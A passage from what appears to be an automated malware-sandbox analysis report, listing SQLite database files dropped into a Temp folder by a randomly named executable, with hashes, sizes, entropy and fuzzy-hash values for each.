File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j6bE4zcffK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j8Sk3I8YBm

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jK4sjtb62h

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jNuNtT4EDC

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jhvyP759cj

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jiIaiNUaVh

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jvsoiePTvy

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jvwmcr3MsJ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k6e4kPOpip

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kaV2MoayLb

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\klRcL49iF9

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\klsJ6kuf5U

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kmSDEmwKrO

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kyN2yWpeCK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lQZiVzCJgQ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lb0a2UumHM

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m08tKmx3zg

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m7SsJjOhaK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mAN1W76B5T

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mCDFISGch3

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n5VomUtctu

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n9sMVIIHu3

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nB352dlvky

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nIZkNLdNzp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nOoQP6BNbm

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
